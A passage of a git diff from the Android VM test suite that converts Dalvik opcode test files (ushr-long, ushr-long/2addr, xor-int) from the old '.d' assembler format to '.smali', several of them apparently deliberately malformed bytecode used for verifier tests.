-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_5.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long v1, v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali
new file mode 100644
index 0000000..7a48b17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_5.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.d
deleted file mode 100644
index 6e7d40a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_6.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long v1, v1, v4
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali
new file mode 100644
index 0000000..fe92df7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_6.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v4
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.d
deleted file mode 100644
index d2f672b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_7.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 6
-
-       ushr-long v1, v2, v4
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali
new file mode 100644
index 0000000..445f379
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_7.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 6
+
+       ushr-long v1, v2, v4
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.d
deleted file mode 100644
index 4b154c5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_1.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali
new file mode 100644
index 0000000..dc36d07
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.d
deleted file mode 100644
index 22a3e6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_2.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 6
-
-       ushr-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali
new file mode 100644
index 0000000..80d5142
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 6
+
+       ushr-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.d
deleted file mode 100644
index c76441e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_3.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       move v0, v3
-       ushr-long/2addr v0, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali
new file mode 100644
index 0000000..d620157
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       move v0, v3
+       ushr-long/2addr v0, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d
deleted file mode 100644
index 4f03522..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_4.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       const v1, 12345.0
-       ushr-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.smali
new file mode 100644
index 0000000..0c2c8bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_ushr_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JI)J
+    .registers 4
+
+    const p1, 0x4640e400    # 12345.0f
+
+    ushr-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.d
deleted file mode 100644
index 12e930c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_5.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long/2addr v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali
new file mode 100644
index 0000000..eb5e735
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.d
deleted file mode 100644
index 0d1898a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_6.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long/2addr v1, v4
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali
new file mode 100644
index 0000000..1b073b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v4
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.d
deleted file mode 100644
index b645617..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_7.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 6
-
-       ushr-long/2addr v2, v4
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali
new file mode 100644
index 0000000..2285e0c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 6
+
+       ushr-long/2addr v2, v4
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.d
deleted file mode 100644
index 2c2fbfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_1.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int v1, v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali
new file mode 100644
index 0000000..83fce63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_1.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.d
deleted file mode 100644
index 339a3e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       move v1, v2 
-       const-wide/16 v2, 12345
-       xor-int v1, v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali
new file mode 100644
index 0000000..fcb494a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
